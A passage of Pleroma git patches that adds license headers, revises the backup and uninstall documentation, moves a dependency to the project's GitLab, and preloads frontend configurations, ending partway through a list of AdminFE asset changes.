b/lib/pleroma/web/activity_pub/side_effects.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.SideEffects do @moduledoc """ This module looks at an inserted object and executes the side effects that it diff --git a/lib/pleroma/web/mailer/subscription_controller.ex b/lib/pleroma/web/mailer/subscription_controller.ex index 478a83518..ace44afd1 100644 --- a/lib/pleroma/web/mailer/subscription_controller.ex +++ b/lib/pleroma/web/mailer/subscription_controller.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.Mailer.SubscriptionController do use Pleroma.Web, :controller diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex index 71c53df1d..7c0345094 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.PleromaAPI.EmojiFileController do use Pleroma.Web, :controller diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex index 6696f8b92..a0e5c739a 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.PleromaAPI.EmojiPackController do use Pleroma.Web, :controller diff --git a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex b/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex index c5aaea2d4..15109d28d 100644 --- a/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex +++ b/lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl do @behaviour Pleroma.Web.RichMedia.Parser.TTL diff --git a/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex b/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex index 6b3ec6d30..13511888c 100644 --- a/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex +++ b/lib/pleroma/web/rich_media/parsers/ttl/ttl.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.RichMedia.Parser.TTL do @callback ttl(Map.t(), String.t()) :: {:ok, Integer.t()} | {:error, String.t()} end diff --git a/lib/pleroma/web/views/email_view.ex b/lib/pleroma/web/views/email_view.ex index 6b0fbe61e..bcdee6571 100644 --- a/lib/pleroma/web/views/email_view.ex +++ b/lib/pleroma/web/views/email_view.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.EmailView do use Pleroma.Web, :view import Phoenix.HTML diff --git a/lib/pleroma/web/views/mailer/subscription_view.ex b/lib/pleroma/web/views/mailer/subscription_view.ex index fc3d20816..4562a9d6c 100644 --- a/lib/pleroma/web/views/mailer/subscription_view.ex +++ b/lib/pleroma/web/views/mailer/subscription_view.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.Mailer.SubscriptionView do use Pleroma.Web, :view end diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs index 14a6e6b71..4ddcea1ec 100644 --- a/test/activity/ir/topics_test.exs +++ b/test/activity/ir/topics_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Activity.Ir.TopicsTest do use Pleroma.DataCase diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index f81a7b580..02ada1aab 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Config.DeprecationWarningsTest do use ExUnit.Case use Pleroma.Tests.Helpers diff --git a/test/docs/generator_test.exs b/test/docs/generator_test.exs index b32918a69..43877244d 100644 --- a/test/docs/generator_test.exs +++ b/test/docs/generator_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Docs.GeneratorTest do use ExUnit.Case, async: true alias Pleroma.Docs.Generator diff --git a/test/fixtures/config/temp.secret.exs b/test/fixtures/config/temp.secret.exs index fa8c7c7e8..621bc8cf6 100644 --- a/test/fixtures/config/temp.secret.exs +++ b/test/fixtures/config/temp.secret.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + use Mix.Config config :pleroma, :first_setting, key: "value", key2: [Pleroma.Repo] diff --git a/test/mfa/backup_codes_test.exs b/test/mfa/backup_codes_test.exs index 7bc01b36b..41adb1e96 100644 --- a/test/mfa/backup_codes_test.exs +++ b/test/mfa/backup_codes_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.MFA.BackupCodesTest do use Pleroma.DataCase diff --git a/test/mfa/totp_test.exs b/test/mfa/totp_test.exs index 50153d208..9edb6fd54 100644 --- a/test/mfa/totp_test.exs +++ b/test/mfa/totp_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.MFA.TOTPTest do use Pleroma.DataCase diff --git a/test/migrations/20200716195806_autolinker_to_linkify_test.exs b/test/migrations/20200716195806_autolinker_to_linkify_test.exs index 250d11c61..84f520fe4 100644 --- a/test/migrations/20200716195806_autolinker_to_linkify_test.exs +++ b/test/migrations/20200716195806_autolinker_to_linkify_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.AutolinkerToLinkifyTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs index d3490478e..61528599a 100644 --- a/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs +++ b/test/migrations/20200722185515_fix_malformed_formatter_config_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.FixMalformedFormatterConfigTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200724133313_move_welcome_settings_test.exs b/test/migrations/20200724133313_move_welcome_settings_test.exs index 739f24547..53d05a55a 100644 --- a/test/migrations/20200724133313_move_welcome_settings_test.exs +++ b/test/migrations/20200724133313_move_welcome_settings_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do use Pleroma.DataCase import Pleroma.Factory diff --git a/test/migrations/20200802170532_fix_legacy_tags_test.exs b/test/migrations/20200802170532_fix_legacy_tags_test.exs index 3b4dee407..432055e45 100644 --- a/test/migrations/20200802170532_fix_legacy_tags_test.exs +++ b/test/migrations/20200802170532_fix_legacy_tags_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do alias Pleroma.User use Pleroma.DataCase diff --git a/test/safe_jsonb_set_test.exs b/test/safe_jsonb_set_test.exs index 748540570..8b1274545 100644 --- a/test/safe_jsonb_set_test.exs +++ b/test/safe_jsonb_set_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.SafeJsonbSetTest do use Pleroma.DataCase diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs index 0b444c86d..69dccb745 100644 --- a/test/tasks/digest_test.exs +++ b/test/tasks/digest_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.DigestTest do use Pleroma.DataCase diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs index 5393e3573..9523aefd8 100644 --- a/test/tasks/email_test.exs +++ b/test/tasks/email_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.EmailTest do use Pleroma.DataCase diff --git a/test/tasks/emoji_test.exs b/test/tasks/emoji_test.exs index 499f098c2..0fb8603ac 100644 --- a/test/tasks/emoji_test.exs +++ b/test/tasks/emoji_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.EmojiTest do use ExUnit.Case, async: true diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs index e82c8afa6..e8cdde2e1 100644 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ b/test/web/activity_pub/mrf/mrf_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.MRFTest do use ExUnit.Case, async: true use Pleroma.Tests.Helpers diff --git a/test/web/activity_pub/object_validators/types/date_time_test.exs b/test/web/activity_pub/object_validators/types/date_time_test.exs index 43be8e936..10310c801 100644 --- a/test/web/activity_pub/object_validators/types/date_time_test.exs +++ b/test/web/activity_pub/object_validators/types/date_time_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.DateTimeTest do alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime use Pleroma.DataCase diff --git a/test/web/activity_pub/object_validators/types/recipients_test.exs b/test/web/activity_pub/object_validators/types/recipients_test.exs index 053916bdd..c09265f0d 100644 --- a/test/web/activity_pub/object_validators/types/recipients_test.exs +++ b/test/web/activity_pub/object_validators/types/recipients_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ObjectValidators.Types.RecipientsTest do alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients use Pleroma.DataCase diff --git a/test/web/chat_channel_test.exs b/test/web/chat_channel_test.exs index f18f3a212..32170873d 100644 --- a/test/web/chat_channel_test.exs +++ b/test/web/chat_channel_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ChatChannelTest do use Pleroma.Web.ChannelCase alias Pleroma.Web.ChatChannel diff --git a/test/web/media_proxy/invalidation_test.exs b/test/web/media_proxy/invalidation_test.exs index 926ae74ca..aa1435ac0 100644 --- a/test/web/media_proxy/invalidation_test.exs +++ b/test/web/media_proxy/invalidation_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.InvalidationTest do use ExUnit.Case use Pleroma.Tests.Helpers diff --git a/test/web/media_proxy/invalidations/http_test.exs b/test/web/media_proxy/invalidations/http_test.exs index a1bef5237..13d081325 100644 --- a/test/web/media_proxy/invalidations/http_test.exs +++ b/test/web/media_proxy/invalidations/http_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do use ExUnit.Case alias Pleroma.Web.MediaProxy.Invalidation diff --git a/test/web/media_proxy/invalidations/script_test.exs b/test/web/media_proxy/invalidations/script_test.exs index 51833ab18..692cbb2df 100644 --- a/test/web/media_proxy/invalidations/script_test.exs +++ b/test/web/media_proxy/invalidations/script_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do use ExUnit.Case alias Pleroma.Web.MediaProxy.Invalidation diff --git a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs index d23d08a00..22988c881 100644 --- a/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs +++ b/test/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do use Pleroma.Web.ConnCase diff --git a/test/web/static_fe/static_fe_controller_test.exs b/test/web/static_fe/static_fe_controller_test.exs index 1598bf675..f819a1e52 100644 --- a/test/web/static_fe/static_fe_controller_test.exs +++ b/test/web/static_fe/static_fe_controller_test.exs @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.StaticFE.StaticFEControllerTest do use Pleroma.Web.ConnCase -- cgit v1.2.3 From 6ec1b1615b2e63aed468960201ee234969befc42 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 12 Oct 2020 12:23:20 -0500 Subject: Further improvements --- docs/administration/backup.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index cfedf5b58..5f279ab97 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -14,7 +14,7 @@ 2. Stop the Pleroma service. 3. Go to the working directory of Pleroma (default is `/opt/pleroma`) 4. Copy the above mentioned files back to their original position. -5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;'` +5. Drop the existing database and user if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;';` `sudo -Hu postgres psql -c 'DROP USER ;'` 6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. Alternatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the database user, name, and password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. @@ -23,6 +23,7 @@ 8. If you installed a newer Pleroma version, you should run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. 9. Restart the Pleroma service. 10. Run `sudo -Hu postgres vacuumdb --all --analyze-in-stages`. This will quickly generate the statistics so that postgres can properly plan queries. +11. If setting up on a new server configure Nginx by using the `installation/pleroma.nginx` config sample or reference the Pleroma installation guide for your OS which contains the Nginx configuration instructions. [^1]: Prefix with `MIX_ENV=prod` to run it using the production config file. @@ -35,6 +36,6 @@ 3. Disable pleroma from systemd `systemctl disable pleroma` 4. Remove the files and folders you created during installation (see installation guide). This includes the pleroma, nginx and systemd files and folders. 5. Reload nginx now that the configuration is removed `systemctl reload nginx` -6. Remove the database and database user `sudo -Hu postgres psql -c 'DROP DATABASE ;';` `sudo -Hu postgres psql -c 'DROP USER ;';` +6. Remove the database and database user `sudo -Hu postgres psql -c 'DROP DATABASE ;';` `sudo -Hu postgres psql -c 'DROP USER ;'` 7. Remove the system user `userdel pleroma` 8. Remove the dependencies that you don't need anymore (see installation guide). Make sure you don't remove packages that are still needed for other software that you have running! -- cgit v1.2.3 From c4fae2611ff4da7c418de236fa643021ddc778c8 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 9 Oct 2020 11:26:51 -0500 Subject: Switch Majic to a copy hosted in our GitLab --- mix.exs | 3 ++- mix.lock | 4 ++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/mix.exs b/mix.exs index c6e94aff7..427329d38 100644 --- a/mix.exs +++ b/mix.exs @@ -188,7 +188,8 @@ defp deps do git: "https://git.pleroma.social/pleroma/elixir-libraries/elixir-captcha.git", ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:restarter, path: "./restarter"}, - {:majic, git: "https://github.com/hrefhref/majic", branch: "develop"}, + {:majic, + git: "https://git.pleroma.social/pleroma/elixir-libraries/majic", branch: "develop"}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"}, diff --git a/mix.lock b/mix.lock index 73d84d7cc..1f2885440 100644 --- a/mix.lock +++ b/mix.lock @@ -32,7 +32,7 @@ "ecto_enum": {:hex, :ecto_enum, "1.4.0", "d14b00e04b974afc69c251632d1e49594d899067ee2b376277efd8233027aec8", [:mix], [{:ecto, ">= 3.0.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:ecto_sql, "> 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: false]}, {:mariaex, ">= 0.0.0", [hex: :mariaex, repo: "hexpm", optional: true]}, {:postgrex, ">= 0.0.0", [hex: :postgrex, repo: "hexpm", optional: true]}], "hexpm", "8fb55c087181c2b15eee406519dc22578fa60dd82c088be376d0010172764ee4"}, "ecto_sql": {:hex, :ecto_sql, "3.4.5", "30161f81b167d561a9a2df4329c10ae05ff36eca7ccc84628f2c8b9fa1e43323", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0 or ~> 0.4.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.0", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "31990c6a3579b36a3c0841d34a94c275e727de8b84f58509da5f1b2032c98ac2"}, "eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"}, - "elixir_make": {:hex, :elixir_make, "0.6.0", "38349f3e29aff4864352084fc736fa7fa0f2995a819a737554f7ebd28b85aaab", [:mix], [], "hexpm", "d522695b93b7f0b4c0fcb2dfe73a6b905b1c301226a5a55cb42e5b14d509e050"}, + "elixir_make": {:hex, :elixir_make, "0.6.1", "8faa29a5597faba999aeeb72bbb9c91694ef8068f0131192fb199f98d32994ef", [:mix], [], "hexpm", "35d33270680f8d839a4003c3e9f43afb595310a592405a00afc12de4c7f55a18"}, "esshd": {:hex, :esshd, "0.1.1", "d4dd4c46698093a40a56afecce8a46e246eb35463c457c246dacba2e056f31b5", [:mix], [], "hexpm", "d73e341e3009d390aa36387dc8862860bf9f874c94d9fd92ade2926376f49981"}, "eternal": {:hex, :eternal, "1.2.1", "d5b6b2499ba876c57be2581b5b999ee9bdf861c647401066d3eeed111d096bc4", [:mix], [], "hexpm", "b14f1dc204321429479c569cfbe8fb287541184ed040956c8862cb7a677b8406"}, "ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"}, @@ -65,7 +65,7 @@ "jumper": {:hex, :jumper, "1.0.1", "3c00542ef1a83532b72269fab9f0f0c82bf23a35e27d278bfd9ed0865cecabff", [:mix], [], "hexpm", "318c59078ac220e966d27af3646026db9b5a5e6703cb2aa3e26bcfaba65b7433"}, "libring": {:hex, :libring, "1.4.0", "41246ba2f3fbc76b3971f6bce83119dfec1eee17e977a48d8a9cfaaf58c2a8d6", [:mix], [], "hexpm"}, "linkify": {:hex, :linkify, "0.2.0", "2518bbbea21d2caa9d372424e1ad845b640c6630e2d016f1bd1f518f9ebcca28", [:mix], [], "hexpm", "b8ca8a68b79e30b7938d6c996085f3db14939f29538a59ca5101988bb7f917f6"}, - "majic": {:git, "https://github.com/hrefhref/majic", "51ecea6458c4b2fbc98272ce5ab2951f2c0d46cc", [branch: "develop"]}, + "majic": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/majic", "4c692e544b28d1f5e543fb8a44be090f8cd96f80", [branch: "develop"]}, "makeup": {:hex, :makeup, "1.0.3", "e339e2f766d12e7260e6672dd4047405963c5ec99661abdc432e6ec67d29ef95", [:mix], [{:nimble_parsec, "~> 0.5", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "2e9b4996d11832947731f7608fed7ad2f9443011b3b479ae288011265cdd3dad"}, "makeup_elixir": {:hex, :makeup_elixir, "0.14.1", "4f0e96847c63c17841d42c08107405a005a2680eb9c7ccadfd757bd31dabccfb", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "f2438b1a80eaec9ede832b5c41cd4f373b38fd7aa33e3b22d9db79e640cbde11"}, "meck": {:hex, :meck, "0.8.13", "ffedb39f99b0b99703b8601c6f17c7f76313ee12de6b646e671e3188401f7866", [:rebar3], [], "hexpm", "d34f013c156db51ad57cc556891b9720e6a1c1df5fe2e15af999c84d6cebeb1a"}, -- cgit v1.2.3 From 83ae45b000261d3e03a4b554064350a5ead172c3 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 12 Oct 2020 18:49:37 -0500 Subject: Preload `/api/pleroma/frontend_configurations`, fixes #1932 --- lib/pleroma/web/preload/instance.ex | 9 +++++++++ lib/pleroma/web/twitter_api/controllers/util_controller.ex | 6 +----- lib/pleroma/web/twitter_api/views/util_view.ex | 6 ++++++ test/web/preload/instance_test.exs | 8 ++++++++ 4 files changed, 24 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/preload/instance.ex b/lib/pleroma/web/preload/instance.ex index 50d1f3382..cc6f8cf99 100644 --- a/lib/pleroma/web/preload/instance.ex +++ b/lib/pleroma/web/preload/instance.ex @@ -7,11 +7,13 @@ defmodule Pleroma.Web.Preload.Providers.Instance do alias Pleroma.Web.MastodonAPI.InstanceView alias Pleroma.Web.Nodeinfo.Nodeinfo alias Pleroma.Web.Preload.Providers.Provider + alias Pleroma.Web.TwitterAPI.UtilView @behaviour Provider @instance_url "/api/v1/instance" @panel_url "/instance/panel.html" @nodeinfo_url "/nodeinfo/2.0.json" + @fe_config_url "/api/pleroma/frontend_configurations" @impl Provider def generate_terms(_params) do @@ -19,6 +21,7 @@ def generate_terms(_params) do |> build_info_tag() |> build_panel_tag() |> build_nodeinfo_tag() + |> build_fe_config_tag() end defp build_info_tag(acc) do @@ -47,4 +50,10 @@ defp build_nodeinfo_tag(acc) do Map.put(acc, @nodeinfo_url, nodeinfo_data) end end + + defp build_fe_config_tag(acc) do + fe_data = UtilView.render("frontend_configurations.json", %{}) + + Map.put(acc, @fe_config_url, fe_data) + end end diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 70b0fbd54..6d827846d 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -74,11 +74,7 @@ def notifications_read(%{assigns: %{user: user}} = conn, %{"id" => notification_ end def frontend_configurations(conn, _params) do - config = - Config.get(:frontend_configurations, %{}) - |> Enum.into(%{}) - - json(conn, config) + render(conn, "frontend_configurations.json") end def emoji(conn, _params) do diff --git a/lib/pleroma/web/twitter_api/views/util_view.ex b/lib/pleroma/web/twitter_api/views/util_view.ex index d3bdb4f62..98eea1d18 100644 --- a/lib/pleroma/web/twitter_api/views/util_view.ex +++ b/lib/pleroma/web/twitter_api/views/util_view.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilView do use Pleroma.Web, :view import Phoenix.HTML.Form + alias Pleroma.Config alias Pleroma.Web def status_net_config(instance) do @@ -19,4 +20,9 @@ def status_net_config(instance) do """ end + + def render("frontend_configurations.json", _) do + Config.get(:frontend_configurations, %{}) + |> Enum.into(%{}) + end end diff --git a/test/web/preload/instance_test.exs b/test/web/preload/instance_test.exs index a46f28312..8493f2a94 100644 --- a/test/web/preload/instance_test.exs +++ b/test/web/preload/instance_test.exs @@ -45,4 +45,12 @@ test "it renders the node_info", %{"/nodeinfo/2.0.json" => nodeinfo} do assert metadata.private == false assert metadata.suggestions == %{enabled: false} end + + test "it renders the frontend configurations", %{ + "/api/pleroma/frontend_configurations" => fe_configs + } do + assert %{ + pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} + } = fe_configs + end end -- cgit v1.2.3 From eea879eb362d3310d4fe047fb6412b69dd8711fe Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 13 Oct 2020 07:51:48 -0500 Subject: Update AdminFE build to latest develop --- priv/static/adminfe/app.07a1f8db.css | Bin 12895 -> 0 bytes priv/static/adminfe/app.6fb984d1.css | Bin 0 -> 12876 bytes priv/static/adminfe/chunk-0171.aa11eafe.css | Bin 4270 -> 0 bytes priv/static/adminfe/chunk-03c5.f59788cf.css | Bin 0 -> 1270 bytes priv/static/adminfe/chunk-0598.d8f2b478.css | Bin 6896 -> 0 bytes priv/static/adminfe/chunk-0778.29be65e2.css | Bin 2340 -> 0 bytes priv/static/adminfe/chunk-0f09.66ca2a61.css | Bin 692 -> 0 bytes priv/static/adminfe/chunk-176e.a3c8376d.css | Bin 0 -> 2163 bytes priv/static/adminfe/chunk-176e.b7aa5351.css | Bin 2163 -> 0 bytes priv/static/adminfe/chunk-19e2.934ad654.css | Bin 3430 -> 0 bytes priv/static/adminfe/chunk-28f8.0aae6427.css | Bin 26168 -> 0 bytes priv/static/adminfe/chunk-2d97.82cbb623.css | Bin 692 -> 0 bytes priv/static/adminfe/chunk-3221.0ef79c67.css | Bin 1078 -> 0 bytes priv/static/adminfe/chunk-3365.201aa8e6.css | Bin 0 -> 4090 bytes priv/static/adminfe/chunk-342d.e342722b.css | Bin 0 -> 4395 bytes priv/static/adminfe/chunk-39ad.ba67c97f.css | Bin 5785 -> 0 bytes priv/static/adminfe/chunk-3ba2.63b1228d.css | Bin 7501 -> 0 bytes priv/static/adminfe/chunk-40a4.665332db.css | Bin 5006 -> 0 bytes priv/static/adminfe/chunk-4eb4.b72d16c3.css | Bin 4658 -> 0 bytes priv/static/adminfe/chunk-521f.b745ee5d.css | Bin 0 -> 5274 bytes priv/static/adminfe/chunk-546f.692d1ab2.css | Bin 0 -> 6072 bytes priv/static/adminfe/chunk-565e.8c036a6e.css | Bin 26991 -> 0 bytes priv/static/adminfe/chunk-60a9.7b5b9559.css | Bin 1139 -> 0 bytes priv/static/adminfe/chunk-6198.3c37d6af.css | Bin 2044 -> 0 bytes priv/static/adminfe/chunk-654d.94689c39.css | Bin 0 -> 1381 bytes priv/static/adminfe/chunk-654e.b2e16b59.css | Bin 1381 -> 0 bytes priv/static/adminfe/chunk-68ea.7633295f.css | Bin 4748 -> 0 bytes priv/static/adminfe/chunk-68ea.81e11186.css | Bin 4748 -> 0 bytes priv/static/adminfe/chunk-68ea9.dac85813.css | Bin 0 -> 4748 bytes priv/static/adminfe/chunk-6e81.0e9e6d27.css | Bin 745 -> 0 bytes priv/static/adminfe/chunk-6e81.1c0f2da2.css | Bin 0 -> 745 bytes priv/static/adminfe/chunk-6e81.7e5babfc.css | Bin 745 -> 0 bytes priv/static/adminfe/chunk-6e8c.ef26acfd.css | Bin 5199 -> 0 bytes priv/static/adminfe/chunk-7503.cc089ee4.css | Bin 4015 -> 0 bytes 